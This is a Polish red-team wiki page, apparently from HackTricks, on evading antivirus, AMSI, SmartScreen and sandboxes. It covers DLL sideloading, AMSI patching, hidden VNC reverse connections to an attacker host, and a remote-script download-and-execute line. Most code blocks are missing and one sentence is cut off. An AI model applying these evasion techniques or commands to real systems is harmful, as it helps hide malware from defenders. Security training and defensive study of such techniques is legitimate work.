Antivirus (AV) Bypass
Last updated
Last updated
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Jeśli jesteś zainteresowany karierą w hacking i chcesz złamać to, co nie do złamania - zatrudniamy! (wymagana biegła znajomość polskiego w mowie i piśmie).
Ta strona została napisana przez @m2rc_p!
Obecnie, AV używają różnych metod do sprawdzania, czy plik jest złośliwy, czy nie, wykrywania statycznego, analizy dynamicznej, a dla bardziej zaawansowanych EDR-ów, analizy behawioralnej.
Wykrywanie statyczne osiąga się poprzez oznaczanie znanych złośliwych ciągów lub tablic bajtów w binarnym pliku lub skrypcie, a także wydobywanie informacji z samego pliku (np. opis pliku, nazwa firmy, podpisy cyfrowe, ikona, suma kontrolna itp.). Oznacza to, że używanie znanych publicznych narzędzi może łatwiej doprowadzić do wykrycia, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów na obejście tego rodzaju wykrywania:
Szyfrowanie
Jeśli zaszyfrujesz binarny plik, nie będzie możliwości wykrycia twojego programu przez AV, ale będziesz potrzebować jakiegoś loadera do odszyfrowania i uruchomienia programu w pamięci.
Obfuskacja
Czasami wystarczy zmienić kilka ciągów w swoim binarnym pliku lub skrypcie, aby przejść przez AV, ale może to być czasochłonne w zależności od tego, co próbujesz obfuskować.
Niestandardowe narzędzia
Jeśli opracujesz własne narzędzia, nie będzie znanych złych sygnatur, ale zajmuje to dużo czasu i wysiłku.
Dobrym sposobem na sprawdzenie wykrywania statycznego przez Windows Defender jest ThreatCheck. W zasadzie dzieli plik na wiele segmentów, a następnie prosi Defendera o zeskanowanie każdego z nich indywidualnie, w ten sposób może dokładnie powiedzieć, jakie ciągi lub bajty są oznaczone w twoim binarnym pliku.
Zdecydowanie polecam zapoznać się z tą playlistą na YouTube na temat praktycznego unikania AV.
Analiza dynamiczna to sytuacja, gdy AV uruchamia twój binarny plik w piaskownicy i obserwuje złośliwą aktywność (np. próba odszyfrowania i odczytania haseł przeglądarki, wykonanie minidumpa na LSASS itp.). Ta część może być nieco trudniejsza do pracy, ale oto kilka rzeczy, które możesz zrobić, aby unikać piaskownic.
Sen przed wykonaniem W zależności od tego, jak jest to zaimplementowane, może to być świetny sposób na ominięcie analizy dynamicznej AV. AV mają bardzo krótki czas na skanowanie plików, aby nie przerywać pracy użytkownika, więc używanie długich snów może zakłócić analizę binarnych plików. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć sen, w zależności od tego, jak jest to zaimplementowane.
Sprawdzanie zasobów maszyny Zwykle piaskownice mają bardzo mało zasobów do pracy (np. < 2GB RAM), w przeciwnym razie mogłyby spowolnić maszynę użytkownika. Możesz być również bardzo kreatywny w tym zakresie, na przykład sprawdzając temperaturę CPU lub nawet prędkości wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.
Sprawdzanie specyficzne dla maszyny Jeśli chcesz zaatakować użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby zobaczyć, czy pasuje do tej, którą określiłeś, jeśli nie, możesz sprawić, że twój program zakończy działanie.
Okazuje się, że nazwa komputera w piaskownicy Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detonacją, jeśli nazwa pasuje do HAL9TH, oznacza to, że jesteś w piaskownicy defendera, więc możesz sprawić, że twój program zakończy działanie.
Kilka innych naprawdę dobrych wskazówek od @mgeeky dotyczących unikania piaskownic
Jak już wcześniej wspomniano w tym poście, publiczne narzędzia ostatecznie zostaną wykryte, więc powinieneś zadać sobie pytanie:
Na przykład, jeśli chcesz zrzucić LSASS, czy naprawdę musisz używać mimikatz? Czy mógłbyś użyć innego projektu, który jest mniej znany i również zrzuca LSASS.
Prawidłowa odpowiedź to prawdopodobnie ta druga. Biorąc mimikatz jako przykład, prawdopodobnie jest to jeden z, jeśli nie najbardziej oznaczonych złośliwych programów przez AV i EDR, podczas gdy sam projekt jest super fajny, jest również koszmarem do pracy z nim, aby obejść AV, więc po prostu szukaj alternatyw dla tego, co próbujesz osiągnąć.
Podczas modyfikowania swoich ładunków w celu unikania wykrycia, upewnij się, że wyłączasz automatyczne przesyłanie próbek w defenderze, i proszę, poważnie, NIE PRZESYŁAJ DO VIRUSTOTAL, jeśli twoim celem jest osiągnięcie unikania w dłuższej perspektywie. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez konkretne AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z wyniku.
Kiedy tylko to możliwe, zawsze priorytetuj używanie DLL do unikania wykrycia, z mojego doświadczenia wynika, że pliki DLL są zazwyczaj znacznie mniej wykrywane i analizowane, więc to bardzo prosty trik do użycia w celu uniknięcia wykrycia w niektórych przypadkach (jeśli twój ładunek ma jakiś sposób uruchomienia jako DLL, oczywiście).
Jak widać na tym obrazie, ładunek DLL z Havoc ma wskaźnik wykrycia 4/26 w antiscan.me, podczas gdy ładunek EXE ma wskaźnik wykrycia 7/26.
Teraz pokażemy kilka trików, które możesz użyć z plikami DLL, aby być znacznie bardziej dyskretnym.
Sideloading DLL wykorzystuje kolejność wyszukiwania DLL używaną przez loadera, umieszczając zarówno aplikację ofiary, jak i złośliwe ładunki obok siebie.
Możesz sprawdzić programy podatne na Sideloading DLL, używając Siofra i następującego skryptu powershell:
To polecenie wyświetli listę programów podatnych na DLL hijacking w "C:\Program Files\" oraz pliki DLL, które próbują załadować.
Zalecam samodzielne zbadanie programów podatnych na DLL Hijackable/Sideloadable, ta technika jest dość dyskretna, jeśli jest prawidłowo wykonana, ale jeśli użyjesz publicznie znanych programów Sideloadable DLL, możesz łatwo zostać złapany.
Samo umieszczenie złośliwego DLL o nazwie, którą program oczekuje załadować, nie załaduje twojego ładunku, ponieważ program oczekuje pewnych specyficznych funkcji w tym DLL. Aby rozwiązać ten problem, użyjemy innej techniki zwanej DLL Proxying/Forwarding.
DLL Proxying przekazuje wywołania, które program wykonuje z proxy (i złośliwego) DLL do oryginalnego DLL, zachowując funkcjonalność programu i umożliwiając obsługę wykonania twojego ładunku.
Będę korzystać z projektu SharpDLLProxy od @flangvik
Oto kroki, które wykonałem:
Ostatnie polecenie wygeneruje nam 2 pliki: szablon kodu źródłowego DLL oraz oryginalny, przemianowany DLL.
Oto wyniki:
Zarówno nasz shellcode (zakodowany za pomocą SGN), jak i proxy DLL mają wskaźnik wykrycia 0/26 w antiscan.me! Nazwałbym to sukcesem.
Zdecydowanie zalecam obejrzenie VOD S3cur3Th1sSh1t na twitchu na temat DLL Sideloading oraz filmu ippsec, aby dowiedzieć się więcej o tym, co omówiliśmy bardziej szczegółowo.
Freeze to zestaw narzędzi do payloadów do omijania EDR-ów za pomocą wstrzymanych procesów, bezpośrednich wywołań systemowych i alternatywnych metod wykonania
Możesz użyć Freeze, aby załadować i wykonać swój shellcode w sposób ukryty.
Unikanie to tylko gra w kotka i myszkę, co działa dzisiaj, może być wykryte jutro, więc nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj łączyć wiele technik unikania.
AMSI został stworzony, aby zapobiegać "złośliwemu oprogramowaniu bezplikowemu". Początkowo programy antywirusowe mogły skanować tylko pliki na dysku, więc jeśli udało się jakoś wykonać ładunki bezpośrednio w pamięci, program antywirusowy nie mógł nic zrobić, aby temu zapobiec, ponieważ nie miał wystarczającej widoczności.
Funkcja AMSI jest zintegrowana z tymi komponentami systemu Windows.
Kontrola konta użytkownika, czyli UAC (podniesienie uprawnień EXE, COM, MSI lub instalacji ActiveX)
PowerShell (skrypty, użycie interaktywne i dynamiczna ocena kodu)
Windows Script Host (wscript.exe i cscript.exe)
JavaScript i VBScript
Makra VBA w Office
Pozwala to rozwiązaniom antywirusowym na inspekcję zachowania skryptów poprzez ujawnienie treści skryptu w formie, która jest zarówno niezaszyfrowana, jak i nieukryta.
Uruchomienie IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
spowoduje wyświetlenie następującego alertu w Windows Defender.
Zauważ, jak dodaje amsi:
przed ścieżką do pliku wykonywalnego, z którego uruchomiono skrypt, w tym przypadku powershell.exe.
Nie zapisaliśmy żadnego pliku na dysku, ale nadal zostaliśmy złapani w pamięci z powodu AMSI.
Istnieje kilka sposobów na obejście AMSI:
Obfuskacja
Ponieważ AMSI głównie działa na podstawie wykryć statycznych, modyfikacja skryptów, które próbujesz załadować, może być dobrym sposobem na unikanie wykrycia.
Jednak AMSI ma zdolność do deobfuskacji skryptów, nawet jeśli mają one wiele warstw, więc obfuskacja może być złym rozwiązaniem w zależności od tego, jak jest przeprowadzona. To sprawia, że unikanie nie jest takie proste. Chociaż czasami wystarczy zmienić kilka nazw zmiennych i będzie dobrze, więc to zależy od tego, jak bardzo coś zostało oznaczone.
Obejście AMSI
Ponieważ AMSI jest implementowane przez załadowanie DLL do procesu powershell (także cscript.exe, wscript.exe itd.), możliwe jest łatwe manipulowanie nim, nawet działając jako użytkownik bez uprawnień. Z powodu tej luki w implementacji AMSI, badacze znaleźli wiele sposobów na ominięcie skanowania AMSI.
Wymuszenie błędu
Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że nie zostanie zainicjowane żadne skanowanie dla bieżącego procesu. Początkowo ujawnione przez Matta Graebera, a Microsoft opracował sygnaturę, aby zapobiec szerszemu użyciu.
Wystarczyła jedna linia kodu powershell, aby uczynić AMSI bezużytecznym dla bieżącego procesu powershell. Ta linia została oczywiście oznaczona przez samo AMSI, więc konieczne są pewne modyfikacje, aby użyć tej techniki.
Oto zmodyfikowane obejście AMSI, które wziąłem z tego Github Gist.
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
Memory Patching
Ta technika została początkowo odkryta przez @RastaMouse i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w amsi.dll (odpowiedzialnej za skanowanie dostarczonego przez użytkownika wejścia) i nadpisaniu go instrukcjami, aby zwrócić kod E_INVALIDARG, w ten sposób wynik rzeczywistego skanowania zwróci 0, co jest interpretowane jako czysty wynik.
Proszę przeczytać https://rastamouse.me/memory-patching-amsi-bypass/ w celu uzyskania bardziej szczegółowego wyjaśnienia.
Istnieje również wiele innych technik używanych do obejścia AMSI za pomocą powershell, sprawdź tę stronę oraz ten repozytorium, aby dowiedzieć się więcej na ich temat.
Lub ten skrypt, który za pomocą patchowania pamięci będzie patchował każdy nowy Powersh
Istnieje kilka narzędzi, które można wykorzystać do obfuskacji kodu C# w czystym tekście, generowania szablonów metaprogramowania do kompilacji binarnych lub obfuskacji skompilowanych binarnych, takich jak:
InvisibilityCloak: obfuscator C#
Obfuscator-LLVM: Celem tego projektu jest dostarczenie otwartoźródłowego forka zestawu kompilacji LLVM, który ma na celu zwiększenie bezpieczeństwa oprogramowania poprzez obfuskację kodu i zabezpieczanie przed manipulacjami.
ADVobfuscator: ADVobfuscator demonstruje, jak używać języka C++11/14
do generowania, w czasie kompilacji, obfuskowanego kodu bez użycia jakiegokolwiek zewnętrznego narzędzia i bez modyfikacji kompilatora.
obfy: Dodaje warstwę obfuskowanych operacji generowanych przez framework metaprogramowania C++, co utrudni życie osobie chcącej złamać aplikację.
Alcatraz: Alcatraz to obfuscator binarny x64, który potrafi obfuskować różne pliki pe, w tym: .exe, .dll, .sys
metame: Metame to prosty silnik kodu metamorficznego dla dowolnych plików wykonywalnych.
ropfuscator: ROPfuscator to framework obfuskacji kodu o wysokiej precyzji dla języków wspieranych przez LLVM, wykorzystujący ROP (programowanie oparte na zwrotach). ROPfuscator obfuskowuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w łańcuchy ROP, co zakłóca nasze naturalne postrzeganie normalnego przepływu sterowania.
Nimcrypt: Nimcrypt to .NET PE Crypter napisany w Nim
inceptor: Inceptor potrafi przekształcić istniejące EXE/DLL w shellcode, a następnie je załadować
Możesz zobaczyć ten ekran podczas pobierania niektórych plików wykonywalnych z internetu i ich uruchamiania.
Microsoft Defender SmartScreen to mechanizm zabezpieczeń mający na celu ochronę użytkownika końcowego przed uruchamianiem potencjalnie złośliwych aplikacji.
SmartScreen głównie działa na podstawie podejścia opartego na reputacji, co oznacza, że rzadko pobierane aplikacje uruchomią SmartScreen, co z kolei ostrzeże i uniemożliwi użytkownikowi końcowemu uruchomienie pliku (chociaż plik można nadal uruchomić, klikając Więcej informacji -> Uruchom mimo to).
MoTW (Mark of The Web) to NTFS Alternate Data Stream o nazwie Zone.Identifier, który jest automatycznie tworzony po pobraniu plików z internetu, wraz z adresem URL, z którego został pobrany.
Ważne jest, aby zauważyć, że pliki wykonywalne podpisane z zaufanym certyfikatem podpisu nie uruchomią SmartScreen.
Bardzo skutecznym sposobem na zapobieganie oznaczaniu twoich payloadów Mark of The Web jest pakowanie ich w jakiś rodzaj kontenera, takiego jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) nie może być stosowane do wolumenów nie NTFS.
PackMyPayload to narzędzie, które pakuje payloady do kontenerów wyjściowych, aby uniknąć Mark-of-the-Web.
Przykład użycia:
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using PackMyPayload
Ładowanie binarnych plików C# w pamięci jest znane od dłuższego czasu i wciąż jest to bardzo dobry sposób na uruchamianie narzędzi post-exploitation bez wykrycia przez AV.
Ponieważ ładunek zostanie załadowany bezpośrednio do pamięci bez dotykania dysku, będziemy musieli martwić się tylko o patchowanie AMSI przez cały proces.
Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc itp.) już oferuje możliwość wykonywania zestawów C# bezpośrednio w pamięci, ale istnieją różne sposoby, aby to zrobić:
Fork&Run
Polega to na uruchomieniu nowego procesy ofiarnego, wstrzyknięciu złośliwego kodu post-exploitation do tego nowego procesu, wykonaniu złośliwego kodu, a po zakończeniu, zabiciu nowego procesu. Ma to zarówno swoje zalety, jak i wady. Zaletą metody fork and run jest to, że wykonanie odbywa się poza naszym procesem implantacyjnym Beacon. Oznacza to, że jeśli coś w naszej akcji post-exploitation pójdzie źle lub zostanie wykryte, istnieje dużo większa szansa, że nasz implant przetrwa. Wadą jest to, że masz większą szansę na bycie złapanym przez Wykrycia Behawioralne.
Inline
Chodzi o wstrzyknięcie złośliwego kodu post-exploitation do własnego procesu. W ten sposób możesz uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie źle z wykonaniem twojego ładunku, istnieje dużo większa szansa na utracenie swojego beacona, ponieważ może on się zawiesić.
If you want to read more about C# Assembly loading, please check out this article https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ and their InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)
Możesz również ładować zestawy C# z PowerShell, sprawdź Invoke-SharpLoader i film S3cur3th1sSh1t.
Jak zaproponowano w https://github.com/deeexcee-io/LOI-Bins, możliwe jest wykonywanie złośliwego kodu przy użyciu innych języków, dając skompromitowanej maszynie dostęp do środowiska interpretera zainstalowanego na udostępnionym SMB kontrolowanym przez atakującego.
Dając dostęp do binarnych plików interpretera i środowiska na udostępnionym SMB, możesz wykonywać dowolny kod w tych językach w pamięci skompromitowanej maszyny.
Repozytorium wskazuje: Defender nadal skanuje skrypty, ale wykorzystując Go, Java, PHP itp. mamy więcej elastyczności w omijaniu statycznych sygnatur. Testowanie losowych, nieobfuskowanych skryptów reverse shell w tych językach okazało się skuteczne.
Ewazja to bardzo skomplikowany temat, czasami musisz wziąć pod uwagę wiele różnych źródeł telemetrii w jednym systemie, więc praktycznie niemożliwe jest pozostanie całkowicie niewykrytym w dojrzałych środowiskach.
Każde środowisko, przeciwko któremu się stawiasz, będzie miało swoje własne mocne i słabe strony.
Zachęcam cię do obejrzenia tego wystąpienia od @ATTL4S, aby uzyskać wgląd w bardziej zaawansowane techniki ewazji.
To również kolejne świetne wystąpienie od @mariuszbit na temat ewazji w głębi.
Możesz użyć ThreatCheck, który usunie części binariów, aż dowie się, która część Defender uznaje za złośliwą i podzieli się tym z tobą. Inne narzędzie robiące to samo to avred z otwartą stroną internetową oferującą usługę w https://avred.r00ted.ch/
Do Windows 10 wszystkie systemy Windows miały serwer Telnet, który można było zainstalować (jako administrator) wykonując:
Zrób, aby uruchomiło się przy starcie systemu i uruchom to teraz:
Zmień port telnet (stealth) i wyłącz zaporę:
Pobierz z: http://www.uvnc.com/downloads/ultravnc.html (chcesz pobrać pliki binarne, a nie instalator)
NA GOSPODARZU: Uruchom winvnc.exe i skonfiguruj serwer:
Włącz opcję Disable TrayIcon
Ustaw hasło w VNC Password
Ustaw hasło w View-Only Password
Następnie przenieś plik binarny winvnc.exe oraz nowo utworzony plik UltraVNC.ini do ofiary
Napastnik powinien wykonać wewnątrz swojego gospodarza plik binarny vncviewer.exe -listen 5900
, aby był przygotowany na przechwycenie zwrotnego połączenia VNC. Następnie, wewnątrz ofiary: Uruchom demon winvnc winvnc.exe -run
i uruchom winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
OSTRZEŻENIE: Aby zachować dyskrecję, nie należy robić kilku rzeczy
Nie uruchamiaj winvnc
, jeśli już działa, ponieważ spowoduje to wywołanie popupu. Sprawdź, czy działa, używając tasklist | findstr winvnc
Nie uruchamiaj winvnc
bez UltraVNC.ini
w tym samym katalogu, ponieważ spowoduje to otwarcie okna konfiguracyjnego
Nie uruchamiaj winvnc -h
w celu uzyskania pomocy, ponieważ spowoduje to wywołanie popupu
Pobierz z: https://github.com/GreatSCT/GreatSCT
Wewnątrz GreatSCT:
Teraz uruchom lister za pomocą msfconsole -r file.rc
i wykonaj ładunek xml za pomocą:
Obecny defender zakończy proces bardzo szybko.
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Skompiluj to za pomocą:
Użyj go z:
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Automatyczne pobieranie i wykonywanie:
Lista obfuskatorów C#: https://github.com/NotPrab/.NET-Obfuscator
Jeśli jesteś zainteresowany karierą w hackingu i chcesz zhakować to, co nie do zhakowania - zatrudniamy! (wymagana biegła znajomość języka polskiego w mowie i piśmie).
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)